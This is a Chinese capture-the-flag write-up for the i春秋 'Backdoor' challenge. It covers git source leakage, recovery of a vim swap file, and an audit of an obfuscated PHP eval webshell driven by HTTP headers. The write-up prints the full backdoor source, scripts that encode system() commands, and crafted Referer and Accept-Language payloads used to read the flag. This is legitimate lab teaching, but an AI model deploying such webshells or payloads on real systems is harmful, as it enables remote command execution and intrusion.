i春秋-Backdoor

题目

image.png
image.png

考点

git源码泄露
Linux文件恢复
代码审计
http

解题

参考wp

https://blog.csdn.net/cbhjerry/article/details/105791056https://www.pianshen.com/article/19461342501/

扫描

题目给出提示:敏感文件泄漏
于是使用dirsearch扫一下

python dirsearch.py -u http://eci-2ze0l5vhl7ukjwiq791b.cloudeci1.ichunqiu.com/Challenges/

image.png

导出git文件

存在git文件,用git_extract导出文件:

python2 git_extract.py http://eci-2ze0l5vhl7ukjwiq791b.cloudeci1.ichunqiu.com/Challenges/.git/

image.png
image.png

找到新的可疑文件

image.png
在下一步应该要访问:b4ckdo0r.php
image.png
提示看源码
考虑是否存在.b4ckdo0r.php.swp等文件,尝试后发现存在.b4ckdo0r.php.swo,把它下载下来。
image.png

还原文件

接下来还原下载下来的文件

vi -r b4ckdo0r.php.swo

image.png
回车,打开的文件显示b4ckdo0r.php原码:image.png
这么密密麻麻的是混淆后的代码,我们将其复制到本地,在最后一行加入echo ( L ) ; 代码是混淆的,通过 c r e a t e f u n c t i o n 将 L); 代码是混淆的,通过create_function将 L);代码是混淆的,通过createfunctionL的内容创建为函

<?php
echo "can you find the source code of me?";
/*** Signature For Report*/$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/**/$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/**/$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/**/$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/**/$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/**/$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/**/$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/**/$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/**/$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/**/$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/**/$y=str_replace('b','','crbebbabte_funcbbtion');/**/$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/**/$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/**/$v=$y('',$L);$v();/**/echo ($L);
?>

然后本地运行
image.png
复制出来并稍做整理:

<?php
$kh="4f7f";
$kf="28d7";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;
}$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}
}

代码审计

接下来就是代码审计。在下载下来的代码加入一些打印语句,帮助快速理清逻辑并找出漏洞构造payload:

<?php
$kh="4f7f";
$kf="28d7";function x($t,$k){  // 将两个变量进行异或$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;
}$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];           // 获取http头的“REFERER”
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];   // 获取http头的“ACCEPT_LANGUAGE”if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);print_r($q);print_r($m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));     // 675$f=$sl($ss(md5($i.$kf),0,3));     // a3eecho 'h:'.$h.PHP_EOL;   // 675echo 'f:'.$f.PHP_EOL;   // a3e$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];    // 构造Accept-Language:zh-CN,zh;q=0.1,这样获取的$m[2][1]为1,即$q[1]为“REFERER”的第二个参数echo 'p:'.$p.PHP_EOL;if(strpos($p,$h)===0){   // 可构造“REFERER”的第二个参数前三个字符为“675”,进入该流程设置$s[$i],才能通过下面的判断array_key_exists($i,$s)$s[$i]="";$p=$ss($p,3);}       // 去掉前三个字符print_r($s);echo 'i:'.$i.PHP_EOL;echo 'p:'.$p.PHP_EOL;if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);        // 由此可推出$s[$i]// 必须包含有$f("a3e"),也就是此时此刻的$p必须包含“a3e”,且不能出现在最前面,在最前面加任意字符,也就是“REFERER"的第二个参数为”675“开头,”a3e“结尾if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));// 存在eval的漏洞,用”REFERER“第二个参数675和a3e之间的字符作payload$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}
}

构造payload

需要在http头加入Accept-Language和Referer,构造Accept-Language: zh-CN,zh;q=0.1,则Referer的值最少要两个参数,且第二个参数格式为"675"+payload+“a3e”,因为程序中使用了eval,所以可以考虑使用system函数执行系统操作,但构造的载荷会经过base64_decode,异或,gzuncompress的处理,所以可以把要执行的操作经过逆处理即gzcompress,异或,base64_encode:

<?function x($t,$k){  // 将两个变量进行异或$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;
}$k="4f7f28d7";$cmd = 'system("ls");';echo PHP_EOL."----------------".PHP_EOL;
echo base64_encode(x(gzcompress($cmd),$k)).PHP_EOL;

得到:

TPocyB4WLfrhNv1PZOrQMTREimJn

请求并改请求包

http://eci-2ze0rkldt08jroya6asi.cloudeci1.ichunqiu.com/Challenges/b4ckdo0r.php

先查看一下目录文件,system(“ls”)处理后得到“TPocyB4WLfrhNv1PZOrQMTREimJn”,把这字符串加下前缀“675”,后缀“a3e”,做为Referer的参数:

Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNv1PZOrQMTREimJna3e
Accept-Language: zh-CN,zh;q=0.1

image.png
得到响应:
image.png

TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT

解码

把得到的字符串“TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT”,因为这字符串是经过gzcompress,异或,base64_encode处理,所以可以进行base64_decode,异或,gzuncompress解密:

<?
function x($t,$k){  // 将两个变量进行异或$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;
}$k="4f7f28d7";$cmd = 'system("ls");';echo PHP_EOL."----------------".PHP_EOL;
echo base64_encode(x(gzcompress($cmd),$k)).PHP_EOL;

得到:
image.png

重新构造payload

得到该文件列表,其中有this_i5_flag.php,查看该文件 system(“cat this_i5_flag.php”):

<?
function x($t,$k){  // 将两个变量进行异或$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;
}$k="4f7f28d7";$cmd = 'system("cat this_i5_flag.php");';echo PHP_EOL."----------------".PHP_EOL;
echo base64_encode(x(gzcompress($cmd),$k)).PHP_EOL;

得到:

TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKW

再次发送请求包并改包

Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKWa3e
Accept-Language: zh-CN,zh;q=0.1

image.png
得到

TPqE1x3wTNfRNH6te3Qzh2E2MLfnEWKhsnChoFuCTXFd8I1Ae3gyZb7jlgiQoe2WlfdONLidFX2Z3AJJpYV5IDQ/rHd4

再次解码

将得到的加密字符串解码

<?php
function x($t,$k){  // 将两个变量进行异或$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;
}$k="4f7f28d7";
$str = 'TPqE1x3wTNfRNH6te3Qzh2E2MLfnEWKhsnChoFuCTXFd8I1Ae3gyZb7jlgiQoe2WlfdONLidFX2Z3AJJpYV5IDQ/rHd4';
echo PHP_EOL."----------------".PHP_EOL;
echo gzuncompress(x(base64_decode($str),$k)).PHP_EOL;

得到

<?php
$flag = 'flag{d091893f-d2f9-4b3f-bd81-a641127bd93d}';
?>

提交flag

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/689892.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker部署springboot+Vue项目

项目介绍&#xff1a;后台springboot项目&#xff0c;该项目环境mysql、redis 。前台Vue&#xff1a;使用nginx反向代理 方法一&#xff1a;docker run 手动逐个启动容器 1.docker配置nginx代理 将vue项目打包上传到服务器上。创建文件夹存储数据卷&#xff0c;html存放打包…

机器学习周报第41周

目录 摘要Abstract一、文献阅读1.1 摘要1.2 背景1.3 论文方法1.3.1 局部特征提取1.3.2 局部特征转换器 (LoFTR) 模块1.3.4 建立粗粒度匹配1.3.5 精细匹配 1.4 损失1.5 实现细节1.6 实验1.6.1 单应性估计1.6.2 相对位姿估计 二、论文代码总结 摘要 本周阅读了一篇特征匹配领域的…

前端开发工程师——ajax

express框架 终端输入 npm init --yes npm i express 请求报文/响应报文 // 1.引入express const express require(express);// 2.创建应用对象 const app express();// 3.创建路由规则 // request:是对请求报文的封装 // response&#xff1a;是对响应报文的封装 app.get(…

创新指南 | 生成式AI如何引领企业创新未来?

2023年麦肯锡全球数字战略调查了1000多名受访者&#xff0c;发现&#xff1a;建立创新文化的组织与它们应用包括生成式AI在内的最新数字技术提高产出的能力之间有着惊人的强关联。 本文探讨了顶尖创新企业采取的五项行动&#xff0c;使它们与同行之间拉开距离&#xff0c;并在使…

论文 学习 Transformer : Attention Is All You Need

目录 概述&#xff1a; 对摘要的理解&#xff1a; 框架解析 按比例缩放的点积注意力 多头注意力机制 前馈神经网络与位置编码 概述&#xff1a; transformer 是一个encoder ——decoder 结构的用于处理序列到序列转换任务的框架&#xff0c;是第一个完全依赖自注意力机制…

PC端与bluetooth蓝牙虚拟串口通信

应该采用RFCOMM虚拟串口方式来进行通信&#xff0c;原理跟socket通信类似&#xff0c;不同的是使用的通信协议不同&#xff0c;本人结合相关的API&#xff0c;做了以下最简单的封装。 1、获取本地蓝牙设备与附近蓝牙设备信息 2、通信类 /* 通信类&#xff1a;只是对于客户端通…

心理应用工具包 psychtoolbox 绘制小球走迷宫

psychtoolbox 是 MATLAB 中的一个工具包&#xff0c;对于科研人员设计实验范式来说是不二之选&#xff0c;因为它可以操作计算机的底层硬件&#xff0c;精度可以达到帧的级别。 文章目录 一、实验目的二、psychtoolbox 的下载安装三、Psychtoolbox 的基本使用四、完整代码 一、…

im(即时通讯)是什么?

在当今数字化时代&#xff0c;即时通讯&#xff08;IM&#xff09;已经成为企业内部沟通与协作中不可或缺的工具。作为一种实时的即时通讯方式&#xff0c;IM能够极大提高团队成员之间的沟通效率&#xff0c;帮助企业快速响应变化&#xff0c;并增强内部协作与创新能力。 Work…

【Java】/*逻辑控制语句和输入输出—快速总结*/

目录 前言 一、分支语句 1.1 if 语句 1.2 switch 语句 二、循环语句 2.1 while 循环 2.1.1 break 2.1.2 continue 2.2 for 循环 2.3 do_while 循环 三、逻辑语句的小结 四、Java 中的输入输出 4.1 输出到控制台 4.2 从键盘输入 前言 Java 中的逻辑控制语句和C语…

如何通过AI技术实现员工培训的革命性变革

AI个性化培训&#xff1a;开启员工潜力的新篇章 在当今这个信息爆炸的时代&#xff0c;人工智能&#xff08;AI&#xff09;技术的影响力已经渗透到社会的各个层面&#xff0c;包括教育与培训行业。AI技术正在彻底改变我们获取知识与技能的方式&#xff0c;特别是在员工培训领域…

win11安装各银行的网银助手都无法打开,双击没反应?

大神贴 右键网银助手属性&#xff0c;在目标后面敲一下空格&#xff0c;输入**-runapp**&#xff0c;应用即可。 如图示例&#xff1a;

vscode go语言开发中在任意包运行和调试代码 Example使用方法

一般情况下我们在进行go语言开发的时候我们都需要创建一个main方法和main包才能运行go代码&#xff0c; 针对这个问题&#xff0c;go语言给我们内置了功能强大的testing测试框架&#xff0c; 其中一个很有意思的Example测试就非常的方便使用。 他不管你在什么包&#xff0c;也…